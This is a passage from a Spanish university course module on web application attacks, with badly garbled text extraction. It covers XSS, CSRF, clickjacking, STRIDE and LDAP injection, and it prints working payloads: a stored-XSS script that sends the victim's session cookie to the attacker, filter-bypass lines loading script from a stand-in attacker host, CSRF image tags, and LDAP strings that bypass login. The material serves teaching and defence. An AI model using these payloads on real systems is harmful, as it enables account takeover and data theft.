(2)DOM son las siglas de documentobject model Es una manera denombrar cualquier elemento deuna paacutegina web desde la barra dedirecciones hasta un simple tex-to en negrita mediante una no-menclatura jeraacuterquica Por ejem-plo todos los elementos HTML deuna paacutegina estaacuten relacionados endocumentbody
CC-BY-NC-ND bull PID_00191662 16 Ataques a aplicaciones web
analizando de nuevo el formulario de enviacuteo Mediante true se indica que
la peticioacuten seraacute realizada de manera asiacutencrona esto es el navegador no se
quedaraacute ldquocongeladordquo mientras se enviacutea el mensaje
bull Las dos siguientes liacuteneas en las que se llama a la funcioacuten setRequestHeader()
se usan para establecer cabeceras HTTP que hagan que el servidor web
entienda que lo que estamos enviando es un formulario aunque el usuario
no lo haya rellenado
bull Para terminar se invoca a send() pasaacutendole como paraacutemetro la variable d
que teniacuteamos creada desde el principio del coacutedigo Con esto el navegador
realiza las acciones definidas anteriormente y si todo ha salido bien el
usuario afectado nos enviaraacute su cookie de sesioacuten
Para verificar que el ataque se estaacute efectuando seguacuten lo previsto vamos a enviar
un mensaje al usuario admin y desde otro navegador iniciaremos sesioacuten con
nuestro usuario para comprobar asiacute que el coacutedigo cumple con su cometido
Figura 4 XSS antes de ser enviado
Como se puede apreciar en la imagen anterior se ha antildeadido un mensaje en
el cuerpo del enviacuteo para que el usuario administrador no sospeche al recibir
un mensaje vaciacuteo Despueacutes de pulsar el botoacuten Enviar el usuario eviluser solo
tendraacute que sentarse a esperar refrescando su bandeja de entrada hasta que re-
ciba un mensaje de usuario admin con el valor de su cookie de sesioacuten El coacutedi-
go Javascript enviado se podraacute observar dentro del coacutedigo fuente pero pasaraacute
completamente desapercibido para el usuario admin cuando este inicia sesioacuten
con su navegador y automaacuteticamente se le presenta su bandeja de entrada
El coacutedigo HTML recibido por el usuario admin al abrir su bandeja de entrada
seriacutea
ltdiv class=contenidogt
ltp class=autorgtDe eviluserltpgtltp class=mensajegtltscriptgt
d= ampto=eviluserampenviar= Enviar ampmensaje=Mi cookie es +documentcookie
if(windowXMLHttpRequest)
x=new XMLHttpRequest ()
CC-BY-NC-ND bull PID_00191662 17 Ataques a aplicaciones web
else
x=new ActiveXObject (MicrosoftXMLHTTP)
xopen(POSTfuncsendphptrue)
xsetRequestHeader(Content-Type applicationx-www-form-urlencoded)
xsetRequestHeader(Content-Lengthdlength)
xsend(d)
ltscriptgt
iexclQue pagina mas chulaltpgtltdivgt
ltdivgt
ltbodygt
Este coacutedigo ha sido interpretado por el navegador del usuario admin y auto-
maacuteticamente se ha enviado un mensaje al usuario eviluser con la cookie de
sesioacuten
Figura 5 Mensaje recibido por el usuario eviluser
Con esta informacioacuten en su poder el usuario eviluser puede proceder a modi-
ficar el valor de su cookie con el valor recibido De este modo cuando su nave-
gador lo enviacutea al servidor este responde con las paacuteginas correspondientes al
usuario admin
Esta demostracioacuten es un claro ejemplo del potencial que puede llegar a impli-
car un ataque basado en XSS Como se ha visto sin conocer la contrasentildea del
administrador de un sitio web hemos logrado acceder a su cuenta
114 Filtros XSS
En la gran mayoriacutea de las ocasiones no seraacute posible escribir coacutedigo Javascript
directamente como se ha realizado en el ejemplo anterior Habitualmente los
programadores habraacuten establecido una serie de reglas para intentar evitar los
fallos XSS Sin embargo habitualmente los filtros utilizados son implementa-
ciones parciales de lo que deberiacutea ser un filtro antiXSS completo y esto nos
permite introducir nuestro coacutedigo Javascript salvando las dificultades adicio-
nales que se presenten
CC-BY-NC-ND bull PID_00191662 18 Ataques a aplicaciones web
Vamos a plantear una serie de medidasdeproteccioacuten que podemos encon-
trarnos y coacutemo pasar las limitaciones impuestas por estas Esto nos serviraacute para
entender coacutemo piensa un atacante a la hora de introducir coacutedigo XSS y mejo-
rar de este modo nuestras posibles implementaciones de filtros antiXSS
bull Cuandointroducimosloscaractereslsquooldquosecambianporrsquoordquo Esta
teacutecnica es conocida como ldquoescapar los caracteresrdquo y es uacutetil frente a inyec-
ciones SQL aunque no lo es frente a ataques XSS Cuando intentamos ce-
rrar una etiqueta HTML como vimos anteriormente y nos encontramos
con que se estaacuten escapando nuestras comillas pueden darse dos situacio-
nes ambas salvables por parte del atacante La etiqueta queda cerrada co-
mo rsquo o rdquo algo que en HTML es totalmente vaacutelido por lo que podemos
seguir introduciendo coacutedigo Javascript
ltinput type=text name=q value= gt
ltscriptgtalert(documentcookie)ltscriptgt
Es imposible establecer la cadena ldquoiexclHola Mundordquo al no poder escri-
bir correctamente las comillas Son varios los meacutetodos que se pue-
den usar en estos casos Por ejemplo podemos utilizar la funcioacuten
StringfromCharCode() que recibe una lista de coacutedigos ASCII y genera una
cadena
StringfromCharCode(72 111 108 97 32 77 117 110 100 111 33)
Tambieacuten es posible establecer referencias a ficheros Javascript externos
donde podremos usar todos los caracteres que deseemos sin preocuparnos
por ninguacuten tipo de filtro
ltscript src=httpwwwatacantecomxssjsgtltscriptgt
bull ElcoacutedigointroducidonopuedesersuperioraXcaracteres Una limi-
tacioacuten tiacutepica es encontrarnos que no podemos escribir maacutes de un nuacutemero
determinado de caracteres Esta limitacioacuten se puede solventar de nuevo
de dos maneras
ndash Si son varias las variables donde es posible introducir coacutedigo Javascript
podemos usar la suma de los caracteres correspondientes a cada una de
ellas para ampliar el nuacutemero de caracteres disponibles Esto se realiza-
riacutea mediante los caracteres de comentarios multiliacutenea de Javascript
al inicio y al final
ndash Si estamos limitados al tamantildeo un solo campo es posible utilizar un
fichero externo para cargar todo el coacutedigo Javascript necesario Para
reducir la longitud de la direccioacuten URL podemos usar paacuteginas del estilo
tinyurlcom o isgd Asiacute por ejemplo la URL httpwwwvictimacom
xssjs queda traducida a httpisgdowYT
CC-BY-NC-ND bull PID_00191662 19 Ataques a aplicaciones web
ltscript src=httpisgdowYTgtltscriptgt
bull Nopodemosintroducirlacadenascriptonosenospermiteintroducir
loscaracteresdemayorque(gt)ymenorque(lt) Aunque inicialmen-
te podriacutean parecer dos casos distintos al final pueden ser resueltos de la
misma manera Las etiquetas HTML tienen eventos que pueden lanzarse al
ocurrir ciertos sucesos OnLoad cuando se carga el elemento OnMouseO-
ver cuando se desplaza el cursor por encima OnClick cuando se hace clic
sobre eacutel etceacutetera Podemos usar estos elementos para introducir nuestro
coacutedigo
ltinput type=text name=buacutesqueda value=
OnFocus=alert(Hola Mundo) gt
bull Otroscasos Las teacutecnicas de XSS son tan variadas como podamos imaginar
Hay que tener en cuenta que no dependemos de la tecnologiacutea del servidor
sino de la del navegador que esteacuten usando los usuarios Existen teacutecnicas
para ejecutar coacutedigo Javascript que funcionan en Internet Explorer 7 y no
en Firefox 3 o incluso coacutedigo que se ejecuta en Safari 3 pero no lo hace en
la versioacuten 4 Es por ello por lo que no es factible automatizar esta teacutecnica
ni llegar a conocer todos los entresijos de la misma sino que el atacante
deberaacute utilizar su conocimiento y experiencia para lograr introducir el coacute-
digo XSS
12 Cross Site Request Forgery (CSRF)
Una vez entendida la base del XSS es el momento de estudiar algunas teacutecnicas
concretas derivadas de esta y lo que es posible hacer con ellas Una de ellas es
el cross site request forgery (CSRF)
El CSRF es una teacutecnica por la cual vamos a lograr que el usuario realice
acciones no deseadas en dominios remotos Se basa en la idea de apro-
vechar la persistencia de sesiones entre las pestantildeas de un navegador
Vamos a analizar con un ejemplo hipoteacutetico para entenderla
El usuario abre su navegador y entra en el sitio wwwsitio001com En este sitio iniciasesioacuten con su usuario y se le permite realizar una serie de acciones econoacutemicas tales comopujas o compras de objetos A su vez entra en la red social de moda wwwsitio002comdonde tiene sus fotos personales y se escribe mensajes con sus amigos Sin embargoresulta que en el sitio002com tiene un fallo de XSS permanente y un atacante lo va ausar para generar un ataque CSRF
Cuando nos ldquologeamosrdquo en un sitio determinado se nos asocia una cookie de sesioacuten quenos autentica uacutenicamente frente al servidor Esto evita tener que introducir nuestras cre-denciales en cada paacutegina que visitemos Sin embargo no podemos controlar cuaacutendo seenviacutean estas cookies Si nuestro navegador tiene almacenada una cookie asociada a un do-
CC-BY-NC-ND bull PID_00191662 20 Ataques a aplicaciones web
minio la enviaraacute en cada peticioacuten realizada a este dominio incluso si esta no se realizavoluntariamente
En este concepto se basa la teacutecnica de CSRF Vamos a obligar a un usuario a que realiceacciones no deseadas sobre un dominio desde otro Imaginemos que el sitio001comque recordemos permitiacutea transacciones econoacutemicas utiliza URL como la siguiente parala compra de objetos con la tarjeta de creacutedito almacenada
httpwwwsitio001comcompraraspidObjeto=31173ampconfirm=yes
Si un usuario malintencionado lograse que un usuario autenticado en la paacutegina anteriorrealizase clic sobre el enlace obtendriacutea como resultado la compra del objeto en cuestioacutenEsto es podriacutea engantildear a la gente para comprar objetos que eacutel pusiera a la venta por unprecio desorbitado
Sin embargo un usuario avezado no hariacutea clic sobre un enlace desconocido y recibidopor una persona en la cual no confiacutea Es aquiacute donde entra en juego la teacutecnica de CSRFpermitiendo a un atacante ldquosimularrdquo clics veriacutedicos sobre una aplicacioacuten usando las cre-denciales (cookie de sesioacuten) de un usuario Esta accioacuten mediante XSS es sencilla
Como ya se ha puesto de manifiesto muacuteltiples veces a lo largo de este moacutedulo es nece-sario conocer muy a fondo el funcionamiento de los navegadores En este caso vamos ahacer uso de una condicioacuten que todos los navegadores comparten pues no haremos usode coacutedigo Javascript sino que utilizaremos coacutedigo HTML
Los navegadores web al encontrarse una etiqueta ltimggt siguen la direccioacuten del recursoespecificado en el paraacutemetro src Esto implica una conexioacuten para intentar descargar laimagen y esta puede realizarse entre dominios Si la imagen no se encuentra disponible ola respuesta que se recibe desde el servidor no es interpretable como imagen se mostraraacuteel icono de imagen rota
Un atacante puede aprovechar esta caracteriacutestica de los navegadores para obligar a losusuarios afectados a realizar acciones que no desean Crear una imagen que apunte a ladireccioacuten URL anteriormente indicada generariacutea una peticioacuten por parte de todos los na-vegadores que visitasen la paacutegina que contiene el coacutedigo HTML y que como veiacuteamos in-tentariacutea comprar un objeto en el dominio wwwsitio001com El siguiente coacutedigo HTMLse deberiacutea introducir por ejemplo en un comentario del sitio wwwsitio002com
ltimg src=httpwwwsitio001comcompraraspidObjeto=31173ampconfirm=yes gt
Como se puede observar la teacutecnica es tan simple como efectiva Es posible hacer usode Javascript para que el ataque sea mucho maacutes discreto Las imaacutegenes disponen de unevento onerror que se lanza al no poder cargar la imagen Esto es parecido al atributoalt que se muestra cuando un navegador no soporta imaacutegenes Usando este evento ymodificando el recurso referenciado en src podemos cargar una imagen existente despueacutesde hacer la modificacioacuten maliciosa a traveacutes de CSRF
ltimg src=httpwwwsitio001comcompraraspidObjeto=31173ampconfirm=yes onerror=thissrc=logojpgthisonerror=nullgt
Igualmente seriacutea posible desencadenar un ataque de forma maacutes discreta usan-
do CSS (cascading style sheets hojas de estilo para paacuteginas web) para evitar que
la imagen rota que se genera se le muestre al usuario
El ataque anteriormente descrito se ha podido llevar a cabo gracias a que la
paacutegina de sitio001com acepta peticiones GET aquellas donde los paraacutemetros
se remiten en la URL en lugar de requerir POST para los enviacuteos de informacioacuten
Una peticioacuten GET siempre seraacute maacutes faacutecil de manipular que una peticioacuten POST
Esto es asiacute porque para generar una peticioacuten POST debemos escribir coacutedigo
Javascript el cual puede entrar en conflicto con posibles filtros antiXSS que
existan en la aplicacioacuten
CC-BY-NC-ND bull PID_00191662 21 Ataques a aplicaciones web
Sin embargo y aunque establecieacutesemos como requisito indispensable que las
peticiones se realicen mediante POST esto no nos garantizariacutea la seguridad de
nuestra paacutegina ni de nuestros clientes
Para mejorar la seguridad frente a un posible ataque podemos hacer uso de las
cabeceras Referer Estas indican la paacutegina desde la que se ha llegado a otra Se
utilizan por ejemplo para conocer cuaacuteles son las buacutesquedas que permiten a
un usuario llegar a un sitio web desde un buscador Una medida de proteccioacuten
aunque se puede saltar seriacutea comprobar que las peticiones realizadas a nuestras
paacuteginas o al menos a aquellas que impliquen acciones sensibles se realicen
desde nuestro propio dominio
La uacutenica proteccioacuten real frente a ataques de CSRF es la de establecer una serie
de valores numeacutericos que se generen de manera uacutenica en cada peticioacuten Estos
pueden ser establecidos como un CAPTCHA que el usuario debe introducir al
realizar acciones criacuteticas o como un valor oculto en un campo hidden dentro
del coacutedigo de la paacutegina que comprobamos cuando el usuario nos devuelve la
peticioacuten Estas medidas aunque tediosas de programar nos permiten asegurar
los datos de nuestros usuarios
Como usuarios de aplicaciones posiblemente vulnerables a CSRF podemos
tomar una serie de precauciones que intenten evitar un ataque mediante esta
teacutecnica Las medidas son
bull Cerrar la sesioacuten inmediatamente tras el uso de una aplicacioacuten
bull No permitir que el navegador almacene las credenciales de ninguna paacutegi-
na ni que ninguacuten servidor mantenga nuestra sesioacuten recordada maacutes que
durante el tiempo de uso
bull Utilizar navegadores distintos para las aplicaciones de ocio y las criacuteticas
Con esto nos aseguramos la independencia de las cookies de sesioacuten entre
navegadores
13 Clickjacking
Las teacutecnicas de clickjacking son una amenaza reciente para los navega-
dores y sus usuarios Se basan en engantildear a los usuarios para que ha-
gan clic sobre elementos de un sitio web donde ellos nunca lo hariacutean
voluntariamente
Esto se consigue superponiendo dos paacuteginas
CC-BY-NC-ND bull PID_00191662 22 Ataques a aplicaciones web
bull Una la principal con la paacutegina donde queremos que realmente los usua-
rios hagan clic en zonas especiacuteficas como por ejemplo un banco para rea-
lizar una transferencia
bull Otra la que sirve como engantildeo superpuesta sobre la anterior y con con-
tenidos que sirvan de aliciente para que el usuario realice los clics en las
zonas deseadas por ejemplo un pequentildeo juego donde debemos cliquear
en determinadas zonas
Esta teacutecnica se basa en el uso de iframes superpuestos Los iframes son elemen-
tos HTML que permiten la inclusioacuten de un recurso externo dentro de nuestra
paacutegina Aunque contienen una serie de limitaciones a la hora de acceder a
ellos mediante Javascript son de posible uso para engantildear al usuario
1) El primer paso es generar una paacutegina con la URL que se quiere secuestrar y
que seraacute la base sobre la que colocaremos el resto de elementos que nos haraacuten
falta para llevar a cabo esta teacutecnica
Figura 6 Paacutegina a secuestrar
2) El siguiente paso es colocar un iframe con su veacutertice superior izquierdo
exactamente en el lugar donde deseamos que el usuario engantildeado realice el
clic Esto se hace asiacute para asegurar que independientemente del navegador el
clic se ejecute sin problemas
CC-BY-NC-ND bull PID_00191662 23 Ataques a aplicaciones web
Figura 7 IFRAME sobre el sitio original
3) Finalmente se deberaacute efectuar una colocacioacuten y distribucioacuten de los elemen-
tos en la paacutegina que efectuacutea el engantildeo Es recomendable en este sentido crear
alguacuten tipo de incentivo para que el usuario se vea interesado en realizar el
clic que se persigue a fin de capturar su pulsacioacuten y transmitirla a la paacutegina
original
Figura 8 Colocacioacuten del IFRAME para engantildear al usuario
CC-BY-NC-ND bull PID_00191662 24 Ataques a aplicaciones web
Esta teacutecnica fue implementada y presentada por primera vez por Jeremiah
Grossman y Robert Hansen Ambos investigadores propusieron el ejemplo pre-
sentado en las imaacutegenes anteriores como meacutetodo para que un usuario activase
una serie de caracteriacutesticas no deseadas de su reproductor Flash Esto se logroacute a
traveacutes de una aplicacioacuten Flash ubicada en la paacutegina de Adobe para la configu-
racioacuten de seguridad del plugin como se puede observar en la siguiente imagen
Figura 9 Configuracioacuten de seguridad de Flash Player
Esta vulnerabilidad implica la necesidad de proteccioacuten por parte de los nave-
gadores ya que esta teacutecnica de nuevo utilizaraacute el navegador del usuario para
interactuar con el servidor Es por eso por lo que algunos navegadores aportan
directamente protecciones contra esta teacutecnica
bull Firefox no implementa por defecto ninguacuten meacutetodo para proteger a sus
usuarios frente a esta teacutecnica de ataque Sin embargo a traveacutes de la exten-
sioacuten NoScript que hace uso del meacutetodo ClearClick evita que un usuario
sea engantildeado para hacer clic sobre un elemento previamente falseado
CC-BY-NC-ND bull PID_00191662 25 Ataques a aplicaciones web
Figura 10 Clickjacking bloqueado
bull InternetExplorer8 incorpora de serie una proteccioacuten frente a esta teacutecni-
ca que permite a los programadores web incluir una cabecera x-frame-op-
tions que si figura establecida como deny impide que la paacutegina que la en-
viacutea sea renderizada dentro de un iframe Tambieacuten incluye la posibilidad de
establecer el valor como sameorigin para permitir que uacutenicamente pueda
ser cargada si la peticioacuten se realiza desde el mismo dominio
Figura 11 IFRAME bloqueado desde Internet Explorer 8
bull En el resto de navegadores como GoogleChromeOperaSafarieInter-
netExplorer en versiones anteriores a la 8 la uacutenica medida de proteccioacuten
y de tipo parcial consiste en deshabilitar todos los elementos dinaacutemicos
tales como Javascript Java o la opcioacuten de cargar iframes en nuestro nave-
gador
CC-BY-NC-ND bull PID_00191662 26 Ataques a aplicaciones web
2 Ataques de inyeccioacuten de coacutedigo
Las inyecciones de coacutedigo son algo a la orden del diacutea actualmente en Internet
Permitir que un usuario introduzca cualquier paraacutemetro en nuestra aplicacioacuten
puede dar lugar al acceso a informacioacuten privilegiada por parte de un atacante
Las teacutecnicas de ataque que puede sufrir un sistema se han catalogado de forma
geneacuterica con el acroacutenimo STRIDE Cada una de las siglas hace referencia a un
tipo de ataque
1)Spoofing(suplantacioacuten) Hace referencia a cualquier teacutecnica que permita
a un atacante tomar una identidad que no le corresponde Estas teacutecnicas de
ataque se usan de forma muy extendida en Internet a varios niveles
a) Nivel de enlace
Suplantacioacuten de direccioacuten fiacutesica Esta teacutecnica se usa para saltar protecciones
de direccioacuten MAC muy utilizadas en redes inalaacutembricas o reservas activas en
servidores DHCP ( dynamic host configuration protocol)
b) Nivel de Red
bull Suplantacioacuten de Direccioacuten IP Se utilizan para saltarse protecciones res-
tringidas a determinadas direcciones IP Se hicieron famosas en el ataque
a servicios Trusted Hosts en los que se permitiacutea a un usuario ldquologarserdquo
directamente en un servidor sin introducir contrasentildea si veniacutea ldquologadordquo
desde un servidor con una direccioacuten IP en concreto
bull Hijacking Buscan conseguir el control de una conexioacuten mediante la su-
plantacioacuten del validador que mantiene la sesioacuten abierta y autenticada En
el caso del nivel de red el objetivo es controlar el socket mediante la su-
plantacioacuten del nuacutemero de secuencia
c) Nivel de Aplicacioacuten
bull Suplantacioacuten de resultados DNS Se utilizan para conseguir que la viacutectima
crea que el servidor al que se conecta es el de verdad Teacutecnicas de modi-
ficacioacuten de archivos hosts implantacioacuten de servidores DHCP ataques de
envenenamiento de cacheacute a servidores DNS mediante la teacutecnica de ldquoLa fe-
cha del cumpleantildeosrdquo son utilizados para lograr este objetivo
bull Phising El impacto de esta teacutecnica de ataque en la sociedad ha hecho que
hoy en diacutea la mayoriacutea de la gente se preocupe por esto El objetivo de esta
teacutecnica es hacer creer a la viacutectima que se estaacute conectando a una aplicacioacuten
CC-BY-NC-ND bull PID_00191662 27 Ataques a aplicaciones web
mediante la suplantacioacuten de un sitio web completo Se apoya en las teacutec-
nicas de suplantacioacuten de DNS
bull Hijacking Es similar al de a nivel de red pero aquiacute se busca suplantar el va-
lidador que utiliza el nivel de aplicacioacuten Este puede ser un nuacutemero iden-
tificador de sesioacuten en una cookie un campo hidden de una paacutegina web o
un paraacutemetro por GET o por POST
bull Suplantacioacuten de usuarios El objetivo de esta teacutecnica de ataque es la de
usurpar la identidad de un usuario para realizar las acciones en su lugar
2)Tampering Implica el intento de forzar el funcionamiento de alguacuten meca-
nismo de seguridad mediante la falsificacioacuten o la alteracioacuten de la informacioacuten
Estas teacutecnicas son utilizadas para modificar ficheros de registro de acceso mo-
dificar la informacioacuten real o alterarla en su traacutensito desde el emisor al receptor
de la misma
3)Repudiation Son teacutecnicas mediante las que se evita la certificacioacuten o ga-
rantiacutea de un hecho Si un sistema no garantiza el no-repudio no se puede ga-
rantizar que la informacioacuten que contiene o emite sea veraz Tienen especial
relevancia en entornos de anaacutelisis forense o sistemas contractuales
4) InformationDisclosure Vulneracioacuten de la seguridad de un sistema que
implica que un usuario no permitido acceda a informacioacuten o documentacioacuten
sensible Este tipo de vulnerabilidades son especialmente importantes y estaacuten
protegidas por legislaciones especiales sobre todo los datos de caraacutecter perso-
nal En Espantildea se regula la seguridad de los datos mediante la Ley Orgaacutenica
de Proteccioacuten de Datos (LOPD)
5)DenialofService Las vulnerabilidades de denegacioacuten de servicio son aque-
llas que interrumpen la continuidad de los procesos de negocio o servicio de
una compantildeiacutea Estas vulnerabilidades pueden suponer un serio impacto en
los intereses de las compantildeiacuteas Los ataques basados en ordenadores zombis (
botnets) los ataques de parada de servicios o los ataques a las liacuteneas de comu-
nicacioacuten de las empresas son objetivos de este tipo de ataques
6)Elevationofprivilege Se produce este fallo de seguridad cuando un usuario
puede cambiar su nivel de privilegios dentro de un sistema para acceder a
informacioacuten o servicios que estaacuten restringidos para su identidad La elevacioacuten
de privilegios es una vulnerabilidad que suele ser el origen de brechas que
conllevan a denegacioacuten de servicio o descubrimiento de informacioacuten
A partir de esta clasificacioacuten de ataques es posible estudiar en profundidad la
implementacioacuten de ataques reales que normalmente podriacutea aparecer simul-
taacuteneamente en varias de las categoriacuteas anteriores
CC-BY-NC-ND bull PID_00191662 28 Ataques a aplicaciones web
La inyeccioacuten de comandos es una teacutecnica de ataque a aplicaciones web cuyo
objetivo principal es aprovechar conexiones a bases de datos desde aplicacio-
nes web no securizadas para permitir a un atacante la ejecucioacuten de comandos
directamente en la base de datos
21 LDAP Injection
Vamos a mostrar las posibilidades y riesgos de los ataques LDAP Injection en
aplicaciones web Con estos ejemplos se quiere demostrar coacutemo es posible
realizar ataques de elevacioacuten de privilegios de salto de protecciones de acceso
y de acceso a datos en aacuterboles LDAP mediante el uso de inyecciones de coacutedigo
LDAP Estas inyecciones de coacutedigo se han clasificado en inyecciones
bull And LDAP Injection
bull OR LDAP Injection y
bull Blind LDAP Injection
Para probar estas teacutecnicas de inyeccioacuten se han utilizado los motores ADAM
de Microsoft y el motor OpenLDAP un producto Software Libre de amplia
implantacioacuten a nivel mundial
211 LDAP Injection con ADAM de Microsoft
Para realizar todas las pruebas de las cadenas a inyectar se ha utilizado la herra-
mienta LDAP Browser que permite conectarse a distintos aacuterboles LDAP y un
cliente web sinteacutetico creado con el componente IPWorksASPLDAP de la em-
presa n Software para realizar las pruebas de ejecucioacuten de filtros inyectados
En la figura 12 se muestra la estructura que se ha creado de ejemplo en ADAM
Figura 12 Estructura del aacuterbol LDAP creado en ADAM
CC-BY-NC-ND bull PID_00191662 29 Ataques a aplicaciones web
Supongamos ahora que la aplicacioacuten web utiliza una consulta con el siguiente
filtro (cn=Impresora_1) Al lanzar esta consulta se obtiene 1 objeto como
se puede ver en la figura 13
Figura 13 Objeto de respuesta con el filtro (cn=Impresora_1)
Lo deseable por un atacante que realice una inyeccioacuten seriacutea poder acceder a
toda la informacioacuten mediante la inclusioacuten de una consulta que nos devolviera
todas las impresoras En el ejemplo vemos cuaacutel deberiacutea ser el resultado a ob-
tener con una consulta siguiendo el formato definido en las RFC sobre ADAM
(|(cn=Impresora_1)(cn=Impresora))
CC-BY-NC-ND bull PID_00191662 30 Ataques a aplicaciones web
Figura 14 Todas las impresoras
Sin embargo como se puede apreciar para construir ese filtro necesitariacuteamos
inyectar un operador y un pareacutentesis al principio En el ejemplo la inyeccioacuten
no resulta ser muy uacutetil pues se estaacute realizando en ambas condicionantes sobre
cn pero ese filtro solo estaacute creado para ilustrar la necesidad de inyectar coacutedigo
antes del filtro y en el medio del filtro Si probamos la inyeccioacuten propuesta
por Sacha Faust en ADAM (cn=Impresora_1)(|(cn=Impresora))
Figura 15 Inyeccioacuten sin resultados
CC-BY-NC-ND bull PID_00191662 31 Ataques a aplicaciones web
Como se puede apreciar en la figura anterior en la uacuteltima prueba la inyeccioacuten
no produce ninguacuten error pero a diferencia de las pruebas que realiza Sacha
Faust con SunOne Directory Server 50 el servidor ADAM no devuelve maacutes
datos Es decir solo devuelve los datos del primer filtro completo y el resto de
la cadena es ignorado
212 LDAP Injection con OpenLDAP
Para realizar las pruebas de inyeccioacuten en OpenLDAP se ha utilizado el aacuterbol
que ofrece para aplicaciones de prueba el propio proyecto OpenLPADorg cuya
estructura es la siguiente
Figura 16 Estructura del aacuterbol LDAP en OpenLDAP
Sobre esta estructura ejecutamos una consulta para buscar a un usuario obte-
niendo un uacutenico objeto como resultado (uid=kurt)
CC-BY-NC-ND bull PID_00191662 32 Ataques a aplicaciones web
Figura 17 Al ejecutar el filtro (uid=kurt) obtenemos un uacutenico resultado
Si quisieacuteramos ampliar el nuacutemero de resultados siguiendo el formato definido
en el RFC deberiacuteamos ejecutar una consulta en la que inyectaacuteramos un opera-
dor OR y un filtro que incluyera todos los resultados como se puede ver en la
siguiente imagen (|(uid=kurt)(uid=))
Figura 18 Todos los usuarios
Si realizamos la inyeccioacuten tal y como propone Sacha Faust en su documento
sobre LDAP obtendriacuteamos los siguientes resultados (uid=kurt)(|(uid=))
CC-BY-NC-ND bull PID_00191662 33 Ataques a aplicaciones web
Figura 19 Inyeccioacuten OpenLDAP Se ignora el segundo filtro
Como puede apreciarse en la figura 19 el servidor OpenLDAP ha ignorado
el segundo filtro y solo ha devuelto un usuario de igual forma que realizaba
ADAM
213 Conclusiones
Tras realizar estas pruebas podemos extraer las siguientes conclusiones
bull Para realizar una inyeccioacuten de coacutedigo LDAP en una aplicacioacuten que trabaje
contra ADAM u OpenLDAP es necesario que el filtro original es decir el
del programador tenga un operador OR o AND A partir de este punto se
pueden realizar inyecciones de coacutedigo que permitan extraer informacioacuten
o realizar ataques blind es decir a ciegas
bull Es necesario que la consulta generada tras la inyeccioacuten esteacute correctamente
anidada en un uacutenico par de pareacutentesis general o bien que el componente
permita la ejecucioacuten con informacioacuten que no se va a utilizar a la derecha
del filtro
bull La inyeccioacuten que queda compuesta seguacuten el documento de Sacha Faust
puede ser vista de dos formas diferentes una primera en la que seriacutea vista
como un uacutenico filtro con un operador y otra en la que se interpretaraacute co-
mo la concatenacioacuten de dos filtros En el primer caso tendriacuteamos un filtro
mal compuesto Por otro lado si la inyeccioacuten se ve como dos filtros es-
tariacuteamos hablando de un comportamiento particular de algunos motores
LDAP (que no comparten con OpenLDAP ni con ADAM) y ademaacutes con
un segundo filtro con un operador el operador OR innecesario
CC-BY-NC-ND bull PID_00191662 34 Ataques a aplicaciones web
A partir de este punto vamos a analizar diferentes tipos de inyecciones LDAP
que pueden suponer un riesgo de seguridad en los sistemas LDAP que esteacuten
siendo accedidos por aplicaciones web ldquoORrdquo LDAP Injection ldquoANDrdquo LDAP In-
jection y Blind LDAP Injection
214 ldquoORrdquo LDAP Injection
En este entorno nos encontrariacuteamos con que el programador ha creado una
consulta LDAP con un operador OR y uno o los dos paraacutemetros son solicitados
al usuario
(|(atributo1=valor1)(atributo2=valor2))
Supongamos en el ejemplo del aacuterbol LDAP que tenemos una consulta inyec-
table del siguiente tipo (|(cn=D)(ou=Groups)) Es decir que devuelve to-
dos los objetos cuyo valor en ldquocnrdquo comience por ldquoDrdquo o cuyo valor en ldquoourdquo sea
ldquoGroupsrdquo Al ejecutarla obtenemos
Figura 20 Consulta OR sin inyeccioacuten
Si esta consulta sufriera una inyeccioacuten de coacutedigo en el primer paraacutemetro po-
driacuteamos realizar una consulta que nos devolviera la lista de usuarios almace-
nados Para ello realizamos la inyeccioacuten en el primer valor de la siguiente ca-
dena void)(uid=))(|(uid=
CC-BY-NC-ND bull PID_00191662 35 Ataques a aplicaciones web
Figura 21 Lista de usuarios obtenida tras la inyeccioacuten
Al formarse la consulta LDAP esta quedaraacute construida de la siguiente forma (|
(cn=void)(uid=))(|(uid=)(ou=Groups)) permitiendo obtener la lis-
ta de todos los usuarios del aacuterbol LDAP
Otro ejemplo de esta teacutecnica es la siguiente aplicacioacuten de gestioacuten interna en
este caso tenemos un aplicativo que lanza una consulta LDAP del siguiente
tipo
(|(type=outputDevices)(type=printer))
Figura 22 Listado de impresoras y dispositivos de salida
Si el paraacutemetro type que va por GET en la URL es inyectable un atacante podriacutea
modificar el filtro de consulta LDAP con una inyeccioacuten del siguiente tipo
CC-BY-NC-ND bull PID_00191662 36 Ataques a aplicaciones web
(|(type=outputDevices)(type=printer)(uid=))(|(type=void))
Con esa inyeccioacuten el atacante obtendriacutea en este ejemplo la lista de todos los
usuarios como se puede ver en la figura 23
Figura 23 Acceso al listado de usuarios mediante OR LDAP Injection
215 ldquoANDrdquo LDAP Injection
En el caso de inyecciones en consultas LDAP que lleven el operador AND el
atacante estaacute obligado a utilizar como valor en el primer atributo algo vaacutelido
pero se pueden utilizar las inyecciones para mediatizar los resultados y por
ejemplo realizar escaladas de privilegios En este caso nos encontrariacuteamos con
una consulta del siguiente tipo
(amp(atributo1=valor1)(atributo2=valor2))
Supongamos un entorno en el que se muestra la lista de todos los documentos
a los que un usuario con pocos privilegios tiene acceso mediante una consulta
que incluye el directorio de documentos en un paraacutemetro inyectable Es decir
la consulta original es
(amp(directorio=nombre_directorio)(nivel_seguridad=bajo))
Un atacante podriacutea construir una inyeccioacuten del siguiente modo para poder
acceder a los documentos de nivel de seguridad alto
(amp(directorio=almacen)(nivel_seguridad=alto))(|(directorio=almacen)(nivel_seguridad=bajo))
Para conseguir este resultado se habraacute inyectado en el nombre del directorio
la siguiente cadena
almacen)(nivel_seguridad=alto))(|(directorio=almacen
CC-BY-NC-ND bull PID_00191662 37 Ataques a aplicaciones web
Un ejemplo de este ataque se puede ver en la siguiente aplicacioacuten En primer
lugar se va a realizar un acceso no autorizado a la aplicacioacuten web utilizando
una inyeccioacuten que evite la comprobacioacuten de la contrasentildea La aplicacioacuten lanza
una consulta LDAP del tipo
(amp(uid=valor_de_user)(password=valor_de_password)
El atacante inyectando la cadena slisberger)(amp)) en el valor del USER
obtendriacutea una consulta LDAP que siempre devolveriacutea al usuario slisberger
y por lo tanto conseguiriacutea el acceso a la aplicacioacuten
Figura 24 Acceso no autorizado mediante AND LDAP Injection
Y como se puede ver en la figura 25 el usuario consigue acceso al directorio
privado del usuario slisberger En este caso se ha utilizado el filtro (amp)
que es el equivalente al valor TRUE en los filtros LDAP
Figura 25 Directorio home del usuario
Como se puede ver en este caso el usuario ha accedido con privilegios de nivel
